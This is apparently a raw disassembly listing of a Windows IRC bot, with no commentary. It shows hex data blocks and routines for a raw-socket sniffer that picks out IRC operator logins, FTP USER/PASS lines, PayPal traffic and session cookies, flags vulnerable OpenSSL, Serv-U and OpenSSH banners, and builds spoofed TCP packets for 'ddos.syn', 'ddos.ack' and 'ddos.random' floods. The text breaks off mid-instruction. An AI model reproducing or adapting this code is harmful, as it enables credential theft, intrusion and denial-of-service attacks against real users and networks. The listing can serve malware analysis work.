0E89008h, 0FF0224F2h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h dd 22BE02Ch db 90h byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 2BDF57E8h, 458B9002h, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h db 90h ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 4EE80000h, 900226DBh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2770000h lea eax, [ebp+var_1C] push eax call near ptr 2760B1Bh nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2760B1Bh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, 